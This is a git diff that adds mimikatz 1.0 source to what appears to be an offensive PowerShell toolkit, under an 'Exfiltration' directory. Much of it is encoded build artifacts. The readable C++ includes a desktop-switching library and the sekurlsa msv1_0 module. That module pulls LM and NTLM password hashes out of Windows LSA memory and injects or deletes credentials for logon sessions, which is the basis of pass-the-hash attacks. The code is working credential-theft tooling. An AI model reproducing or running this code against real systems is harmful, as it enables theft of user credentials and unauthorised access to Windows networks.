b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..73eaec6743f26b68834f76a6c282c3db5eb2bb5d GIT binary patch literal 3668 zcmeH~-EM+F5QWcm6CXvR^{#h-n-&X5RQzd3`yxKO`Ypt^kaE-3xN8U(%gpR9GiMGn zyQky3B0Z_pvtq6FqCz23u7$QTT55&PDB&^Mp|`qNDPzX`0DXy^X~T+Fv_ovx9wP-%EGj>U^M|>^U;imp2#1Rs4z-Z$(;9>nt@H1lk{_cjy zHG)NzFY9Y9e}H6AWz&H5(h+pKeT^%oxsB*bd)Tms6X_?O13fs-*DWm0G}U8^y9;p^~K+Ov}=uzu{3+pR|Ky2OTYf$4b^hONni})b2@)mRiN8q q+})La>YzQ|e?0?s<9(@x^+~Wt`dUag`)7~#|J-eUb9cB0j-LTA?h+LM literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..5cef6b960f3ad63b607b1af1c68f4aeecc964dea GIT binary patch literal 5964 zcmeI0U2hUW6o%hx6aRzheYMp)?)X^N4J=FekV=SzVzETnlD1aqk5`|wvp}&SsooUK zWCOG3W6qqN^Uj-@`StUY$|`7}P?0)%udYf+O(p6nP)luef$BVg&d{4KQcT;xzleT- z+|UPl)X*MdGkb(o#G{Y>PtCDT^;#!b%JhnPxmj*JOK1JL3uTLyJr|)tolPe}vw$O?5|)uV^h>vrmymc-&(* z>7izmt>tlrZO*tUx$H+yb8`AjMl-(WCeNzRH&}Klwi&-K{7mlYUEZGY?WReXC)c_j z2{D|!%soP?VVVm6J!Y>#jJIn|Bdb@53WjUlF!!qvy+=(}y@zi`8M4tQ`@{P`w1XhGx^*I=IfpZ)F)VnIF8XA8Y!iLOwF=NC4 + + + + + + + + + diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate new file mode 100644 index 00000000..4d281933 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res new file mode 100644 index 0000000000000000000000000000000000000000..3104953fd2cbbed0751773c0dfa68f3ee25f5739 GIT binary patch literal 740 zcmZ{iK}y3w6o&tlAPQM{1G8|UAks<}?p#=vqNu3UrLW7=@>bugZdH5K>{G;Ks|ySmmL^O3IDb#$R~ z{yWUa?9KS_zrH1tUvaqgz(ysX&qaP+@~Q2?S8Ak0nPS)y4K;u{)1z{LpCox|D#GsV z+Gm#b72rPv^Q=NW@UNVv$KSxxpRi^y8@^DdtS^{g-5}4^X@eTWYw8ykos(roN?uMR zCHnzX2y zMwMYr(fmA8-)cAm7h9C+LVnWJk$ zC(7Ds^rss}bYwLz<}52;*4-x0<7M@z2bFC2Fe!mZ;8?=nUMjR2gFf`4GI% zyrIwR_yl^unyshILL|PjzKa~_NP%9nQb#UAW5{TF6YTZbSw~yU*vAXg{#I`ac))t3 zkNUHx-nU((`{jK`&a3!c=j`?```-I=7#uoQCosLe=aHnY9{2e)I{HGzcVSiba27B1 zLWdx2o~HXxTt8|fSD_a)`6VhL)8q^dD?fCBTt76?jfQlKmacWDv6fhvFiv?A{nWx? zxn_)Wv{oNa^fk0O?bbB>o7B0J@MjD)w*q9;YqmIDj2G+cYyad+!B<16dit;(tQ zI3dsJmgBT>rB*;va_5mc5;0sc`7XSP$X=Bk966*)O*P1z-MTSrA)0-?G`PWIY-O$s zdOp})-9m@m!_T#nd{>bR$=C4lgLbgl2BZ{0Zv~m=nPt$|jaUB1V>`U(2;&AD=PHKMk=^ zvTk8`##>pBfkW9g1*eZ^6Hr=w$3YTvrkW$ly4jz7^+~#czstF9?O;Fay1JK5 z-gR>q`}adRRsq+Z*yj8xOsX}D)~g9MsaB>5mK+UG%_vMiM{Cx7t#u~MT<}c= z1Lm})tpD*Fb*lM$$;ygHwW{JhGKdD$#v`Lo4K;NLo&dYz3=I!Qe32dqMPH3vfF#UUnUw?4f?TJ`qW*WseSkEh!l)Z85N*vc`d!qlAT;yMn0{&ZKiH}_*QS52O_K2$WZ GVX#lutyPo& literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..ed695bea19e64bbbc5598a6ed19a6031ec6e68f7 GIT binary patch literal 1570 zcmdUv%L>9U5Jm4=@KY>4cJ5M*8cnOT^-0km@!Qpt2!eteHxjy-&Yfg(=Xt-KHPKkD z=5lJZ&{jFxMr-Y5RjCHE@_beY@PIiL$ddC0yhSgy_6FG=wK7O z+S2J&;*q#Gk11E9){%*C=&IsXi>^9M QTk>D>M1$x9JS(8Ws9HPkLde|zptj0HsTw*~q$4%KA|-qxoq!t_tHxP}AA)DZb#2faGqSL3D(7-PY=(in0ikG&K&+ZxJ{Ge zJJcPh?bz}?qH`E8w@eb@BtgonmGUf literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..6e3ab6c68b7b172e25e4c71337a433e3acd6ed49 GIT binary patch literal 1098 zcmdUu%}#?*5QWd$#CKq+ixN;%t2>~#l@v--C~eG*PvWzy-&{;;v2o+V7(%%7bI+VP zGrYgOsL-RlmMYchNjv3O8#UU?X{#2WQ^n(Sz;C`%HQzP)8GetwR?m$U-U%^_mslAY z&&0=`iBiQ%h*ad|AZC0G*HO=NvjVN)>tSK&x4Jp;$C{Hh*VY1exZJH@(`gfcgrsT1b zv(FSwO~qVCEyk$dCl!O~K=;gTn6raH!`XJK*Ik%Y%w8qDsUGlJl`Z~ZvyRn%vo9@Z qtI+wFbFcfrA)|7R3Z_8~;~3tDunR>{#igR`@!4;WaeEtCLpIy^(+n051 t)uQ0t@Xp#=SOLG;TmJP@<%&ypul9OvkN9BD=RSGN)`z{Py3hH&-wx=IT=f6| literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..ee2aaa13729167377105a15d48b462c639dbeeb3 GIT binary patch literal 2532 zcmd6p%TB{E5Jm4AiGS!47LDiz5WCb#O4RhBrb!Tr=>Pu&aAs18s$v5aIf~SH#$(U% z_{Q$X`r*Tkpzd+fDZMlA78>9hV4 zD<$HU{&UY%GbOsCry_37j45xMHz!}u$cotl@6&cdM9{Uaj>KE+4cs<*rHKm08)Z%V z2G&R2>-LyEcx+940n-H9lDNkCC$#poGkhERW{?eZEtz^>MMZ|fEn90KkHzQSTaat# zc@t_iHolHktuM}3v-+j))i8fXx`D_3vz^|qpDz$! A$^ZZW literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..a07a6d6ef44693787a2899d9780df75125feb7ea GIT binary patch literal 374 zcmd6iO9}!p5JcZv@F+9**}2PvpusqbzY!U{|0&d$o#+K5i%M5jcUQlj4AdbSEW?&{x6!Jw{y{_he1A+QCU;qFB literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp new file mode 100644 index 00000000..9717c49b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp @@ -0,0 +1,97 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "klock.h" + +__kextdll bool __cdecl getDescription(wstring * maDescription) +{ + maDescription->assign(L"kLock : librairie de manipulation des bureaux"); + return true; +} + +bool getNameOfDesktop(HDESK desktop, wstring &bureau) +{ + bool resultat = false; + + wchar_t * monBuffer; + DWORD tailleRequise = 0; + + if(!GetUserObjectInformation(desktop, UOI_NAME, NULL, 0, &tailleRequise) && (tailleRequise > 0)) + { + monBuffer = new wchar_t[tailleRequise]; + if(resultat = (GetUserObjectInformation(desktop, UOI_NAME, monBuffer, tailleRequise, &tailleRequise) != 0)) + { + bureau.assign(monBuffer); + } + delete[] monBuffer; + } + return resultat; +} + +__kextdll bool __cdecl echange(mod_pipe * monPipe, vector * mesArguments) +{ + wstringstream maReponse; + wstring source, cible, monBureau; + bool modeFullAuto = true; + + if(mesArguments->size() == 2) + { + modeFullAuto = false; + source = mesArguments->front(); + cible = mesArguments->back(); + } + + if (HDESK hOriginalDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ | DESKTOP_SWITCHDESKTOP)) + { + if(getNameOfDesktop(hOriginalDesktop, monBureau)) + { + maReponse << L"Bureau courant : " << monBureau << endl; + + if((_wcsicmp(monBureau.c_str(), source.c_str()) == 0) || modeFullAuto) + { + if(modeFullAuto) + cible = _wcsicmp(monBureau.c_str(), L"Default") == 0 ? L"WinLogon" : L"Default"; + + maReponse << L"Bureau cible : " << cible << endl; + + if (HDESK hNewDesktop = OpenDesktop(cible.c_str(), 0, FALSE, DESKTOP_SWITCHDESKTOP)) + { + if (SwitchDesktop(hNewDesktop)) + maReponse << L"Switch du bureau russi !"; + else + maReponse << L"Erreur : impossible de basculer le bureau ; SwitchDesktop : " << mod_system::getWinError(); + maReponse << endl; + CloseDesktop(hNewDesktop); + } + else maReponse << "Erreur : impossible d\'ouvrir le bureau cible (" << cible << L") ; OpenDesktop : " << mod_system::getWinError(); + } + else if(!modeFullAuto) + maReponse << L"Erreur : le bureau courant (" << monBureau << L") ne correspond pas au bureau source indiqu (" << source << L")" << endl; + } + else maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; + + CloseDesktop(hOriginalDesktop); + } + else maReponse << L"Erreur : impossible d\'ouvrir le bureau courant ; OpenInputDesktop : " << mod_system::getWinError() << endl; + + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector * mesArguments) +{ + wstringstream maReponse; + wstring monBureau; + + if (HDESK hDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ)) + { + if(getNameOfDesktop(hDesktop, monBureau)) + maReponse << L"Bureau courant : " << monBureau << endl; + else + maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; + + CloseDesktop(hDesktop); + } + return sendTo(monPipe, maReponse.str()); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.h b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h new file mode 100644 index 00000000..e6ea046c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h @@ -0,0 +1,14 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_system.h" + +__kextdll bool __cdecl getDescription(wstring * maDescription); + +bool getNameOfDesktop(HDESK desktop, wstring &bureau); +__kextdll bool __cdecl echange(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector * mesArguments); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc b/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc new file mode 100644 index 0000000000000000000000000000000000000000..28599d25a1e95a63dc6864446ed6dd81d2f0fb25 GIT binary patch literal 1866 zcmbu9TW=C!5Qg7t6aT{}z0t%NsQm-wC~*s<3#eD5Qi>ZYOJIqI_}kTIzGd0MQX@2* zJeE(qz_1t@l16m)jpavjLJ)Tu*L4B;Vrfj-oo4MkNV?)*a4myWTMdxJf z>2>VkJ0|CAs+1J??N{pvG5`Po literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj new file mode 100644 index 00000000..a93a79d8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj @@ -0,0 +1,131 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {6556249E-1C80-4047-A863-F608C8B8AC55} + Win32Proj + klock + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + user32.lib;shlwapi.lib;secur32.lib + NoErrorReport + + + 0x040c + + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + user32.lib;shlwapi.lib;secur32.lib + NoErrorReport + + + 0x040c + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters new file mode 100644 index 00000000..cc5f3427 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters @@ -0,0 +1,53 @@ + + + + + {255a8a01-9f58-4a47-9d1e-1d5fc9f16419} + + + {d6070dc8-7a9b-46c0-b75a-5fd6c10f8613} + + + {01639990-b135-46fe-8511-84761977c1bf} + + + {fa3fed71-2d05-4e39-a46b-59e9b2c83e04} + + + {e53f7390-cd26-41d0-9f10-ea350fc88e43} + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + + Modules Communs\System + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + + Modules Communs\System + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp new file mode 100644 index 00000000..b429e5a0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp @@ -0,0 +1,153 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0.h" + +bool searchMSVFuncs() +{ + if(!MSV1_0_MspAuthenticationPackageId) + MSV1_0_MspAuthenticationPackageId = (mod_system::GLOB_Version.dwBuildNumber < 7000) ? 2 : 3; + return (searchLSAFuncs() && (MSV1_0_MspAuthenticationPackageId != 0)); +} + +bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + unsigned short reservedSize = 0; + PMSV1_0_PRIMARY_CREDENTIAL kiwiCreds = NULL; + if(NT_SUCCESS(NlpGetPrimaryCredential(logId, &kiwiCreds, &reservedSize))) + { + wstring lmHash = mod_text::stringOfHex(kiwiCreds->LmOwfPassword, sizeof(kiwiCreds->LmOwfPassword)); + wstring ntHash = mod_text::stringOfHex(kiwiCreds->NtOwfPassword, sizeof(kiwiCreds->NtOwfPassword)); + + if(justSecurity) + maReponse << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; + else + { + maReponse << endl << + L"\t * Utilisateur : " << mod_text::stringOfSTRING(kiwiCreds->UserName) << endl << + L"\t * Domaine : " << mod_text::stringOfSTRING(kiwiCreds->LogonDomainName) << endl << + L"\t * Hash LM : " << lmHash << endl << + L"\t * Hash NTLM : " << ntHash; + } + SeckPkgFunctionTable->FreeLsaHeap(kiwiCreds); + } + else maReponse << L"n.t. (LUID KO)"; + } + else maReponse << L"n.a. (msv KO)"; + + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector * mesArguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getMSVLogonData, wstring(L"msv1_0"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + if(!mesArguments->empty() && mesArguments->size() >= 1 && mesArguments->size() <= 2) + { + wstring idSecAppHigh = L"0"; + wstring idSecAppLow = mesArguments->front(); + if(mesArguments->size() > 1) + { + idSecAppHigh = mesArguments->front(); idSecAppLow = mesArguments->back(); + } + + LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + if(idApp.LowPart != 0 || idApp.HighPart != 0) + maReponse << (NT_SUCCESS(NlpDeletePrimaryCredential(&idApp)) ? L"Suppression des donnes de scurit russie :)" : L"Suppression des donnes de scurit en chec :("); + else maReponse << L"LUID incorrect !"; + } + else maReponse << L"Format d\'appel invalide : delLogonSession [idSecAppHigh] idSecAppLow"; + } + else maReponse << L"n.a. (msv KO)"; + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + if(!mesArguments->empty() && mesArguments->size() >= 4 && mesArguments->size() <= 6) + { + MSV1_0_PRIMARY_CREDENTIAL kiwicreds; + RtlZeroMemory(&kiwicreds, sizeof(MSV1_0_PRIMARY_CREDENTIAL)); + + wstring idSecAppHigh = L"0", idSecAppLow, userName, domainName, lmHash, ntlmHash = mesArguments->back(); + kiwicreds.LmPasswordPresent = FALSE; + kiwicreds.NtPasswordPresent = TRUE; + + switch(mesArguments->size()) // mchants arguments utilisateurs + { + case 4: + idSecAppLow = mesArguments->front(); + userName = mesArguments->at(1); + domainName = mesArguments->at(2); + break; + case 6: + idSecAppHigh = mesArguments->front(); + idSecAppLow = mesArguments->at(1); + userName = mesArguments->at(2); + domainName = mesArguments->at(3); + kiwicreds.LmPasswordPresent = TRUE; + lmHash = mesArguments->at(4); + break; + case 5: + if(mesArguments->at(3).size() == 0x20) + { + idSecAppLow = mesArguments->front(); + userName = mesArguments->at(1); + domainName = mesArguments->at(2); + kiwicreds.LmPasswordPresent = TRUE; + lmHash = mesArguments->at(3); + } + else + { + idSecAppHigh = mesArguments->front(); + idSecAppLow = mesArguments->at(1); + userName = mesArguments->at(2); + domainName = mesArguments->at(3); + } + break; + } + + LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + + if(idApp.LowPart != 0 || idApp.HighPart != 0) + { + if((!kiwicreds.LmPasswordPresent || (lmHash.size() == 0x20)) && ntlmHash.size() == 0x20 && userName.size() <= MAX_USERNAME_LEN && domainName.size() <= MAX_DOMAIN_LEN) + { + mod_text::InitLsaStringToBuffer(&kiwicreds.UserName, userName, kiwicreds.BuffUserName); + mod_text::InitLsaStringToBuffer(&kiwicreds.LogonDomainName, domainName, kiwicreds.BuffDomaine); + if(kiwicreds.LmPasswordPresent) + mod_text::wstringHexToByte(lmHash, kiwicreds.LmOwfPassword); + mod_text::wstringHexToByte(ntlmHash, kiwicreds.NtOwfPassword); + + maReponse << (NT_SUCCESS(NlpAddPrimaryCredential(&idApp, &kiwicreds, sizeof(kiwicreds))) ? L"Injection de donnes de scurit russie :)" : L"Injection de donnes de scurit en chec :("); + } + else maReponse << L"Les hashs LM et NTLM doivent faire 32 caractres, le nom d\'utilisateur et le domaine/poste au maximum 22 caractres"; + } + else maReponse << L"LUID incorrect !"; + } + else maReponse << L"Format d\'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM"; + } + else maReponse << L"n.a. (msv KO)"; + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h new file mode 100644 index 00000000..4749573d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h @@ -0,0 +1,16 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" +#include "msv1_0_helper.h" + +bool searchMSVFuncs(); +bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); + +__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp new file mode 100644 index 00000000..7ccb8e56 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp @@ -0,0 +1,53 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0_helper.h" +DWORD MSV1_0_MspAuthenticationPackageId = 0; + +void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) +{ + if(String->Buffer) + String->Buffer = reinterpret_cast(reinterpret_cast(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast(BaseAddress))); +} + +NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize) +{ + STRING PrimaryKeyValue, CredentialString; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + + NlpMakeRelativeOrAbsoluteString(Credential, &Credential->UserName); + NlpMakeRelativeOrAbsoluteString(Credential, &Credential->LogonDomainName); + CredentialString.Buffer = reinterpret_cast(Credential); + CredentialString.MaximumLength = CredentialString.Length = CredentialSize; + SeckPkgFunctionTable->LsaProtectMemory(CredentialString.Buffer, CredentialString.Length); + return SeckPkgFunctionTable->AddCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue, &CredentialString ); +} + +NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize) +{ + ULONG QueryContext = 0, PrimaryKeyLength; + STRING PrimaryKeyValue, CredentialString; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + + NTSTATUS retour = SeckPkgFunctionTable->GetCredentials(LogonId, MSV1_0_MspAuthenticationPackageId, &QueryContext, FALSE, &PrimaryKeyValue, &PrimaryKeyLength, &CredentialString); + if(NT_SUCCESS(retour)) + { + SeckPkgFunctionTable->LsaUnprotectMemory(CredentialString.Buffer, CredentialString.Length); + *Credential = (PMSV1_0_PRIMARY_CREDENTIAL) CredentialString.Buffer; + NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->UserName), false); + NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->LogonDomainName), false); + if (CredentialSize) + *CredentialSize = CredentialString.Length; + } + return retour; +} + +NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId) +{ + STRING PrimaryKeyValue; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + return SeckPkgFunctionTable->DeleteCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h new file mode 100644 index 00000000..e9afd03e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h @@ -0,0 +1,28 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +#define MSV1_0_PRIMARY_KEY "Primary" +extern DWORD MSV1_0_MspAuthenticationPackageId; + +typedef struct _MSV1_0_PRIMARY_CREDENTIAL { + LSA_UNICODE_STRING LogonDomainName; + LSA_UNICODE_STRING UserName; + BYTE NtOwfPassword[0x10]; + BYTE LmOwfPassword[0x10]; + BOOLEAN NtPasswordPresent; + BOOLEAN LmPasswordPresent; + wchar_t BuffDomaine[MAX_DOMAIN_LEN]; + wchar_t BuffUserName[MAX_USERNAME_LEN]; +} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; + +void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); + +NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize); +NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize); +NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..af1843d70b3ad3f14780e0dcdacaee84f22598d8 GIT binary patch literal 365578 zcmeI5UvC@7lEvrw0{b2Gc=O;OzFuUFyh#)#Go(m?q(mw(uD<`5*xfo)?#v9QyJtAl zP?awZ3?-H#{Q2cqK2@KqU#s8b zPZsjGp5)hy{1?8<-*}SG@8!R;kw0I^|LwW@uj(IeE&S%pxFF$5$QGf42zW+hy@J42LCI7vbdcJSu zcSrgCy?kvafA(2sQfKp3W=dDXLjKG6j-`B#@7C}2VGn*bSmbMru#>!ukM6-+*^{v9 zO=b|YkD1)btnOu&m+~iD`L&ag#4g85*vg;#_z7OcCU5h5lCumaCr-@=87KU1Q)qV{ zVN9Jc^lc6-R~_obJMKRzja^#B(Ji*_D%4<5KdC-^`o|6ca^hb&aJl)OWtJNEDPE*ZI%wT6$?2Jjz3PI$D$|o zRI6~eyo)6-V&AjVQTiF|(^(8Q%W5kF71duXljnFU`KNwhE*D zDtp1Fb%^TrGJ}Z9{EXS1_;?4g=_voaH(&XWvc^|phkBjm*3+CDsD0j-vuN7M@GP_R zO-}h+IUUy3f1A%2@*B8y)E-}>^DhUZ)1Ixb=Ju>*mp{pe`coyN%xSAxea&zJS+5?o z24^(#J0;_$IivF^XW`0x<#f*-WF1Ro#O936OMP?M&(yKb+P*mO97FU555vbCAv3*o zVoT|K$h5VqR^UYd89*Piv=Ejbe>R2ft-x}%fp?_kQZCv?Rv2#yrZCDz#A1tFS4&xiF)!T&v* zTLGWJK1;8?S?@9;p_j_uhe1^~ZUaRA9I2f06y^_;NnEovpM9s z>_;h_(Kv^e4o0ZkqhmilSVicaK(FOe{IR2hF=|_*{mu5{bgq4%&}U+APdJUV@5SC8 zT}Pg}aF%kT`nbn%t3t;EuU9@S($(xI;z4#0m3HW&cyn+9p^Eq9z>agBk%L+Y-b6f% z3^IhC>`{N?L1ydT!F(;mj)j~%sI#y?lN(!noI0rc&@5S56^?l^hHBE>70ooyu_$!g zy~}7pF-TuS?N^hx+=91Q^`XAu5y{)nRbz{fosTLRbj6^X-G@czdUt)6(^_@V@P=$Z zZ)b_(F-pkR`?BV<3wtnY+KcS%bPRT(4(mbIl!w{Vh{LZ%K28E1CCv}{u;^T8WRTPI z@EX(nk(&3ha#DBXCp>)EMY$k%!tFXWOv z+U3`(FXC^)hdQ~5&G9}FycZ97UBu<+2Y~;gFOrBC8ZX91!(HnPU&NB7j2G12p&$J& zH#YjmF8w}lHo`YWZ6d1pz4$!snhMOWtww)pe%rpQ7q$Lzwzg}WY}RAQ_bK;)y8UA~ z0-C+mw|y_Qe5LzR=R~$xQy3lU_Cp7;6uW}D{okd2Hcb)Gu0~WOt>ycWee!XOQnx=n 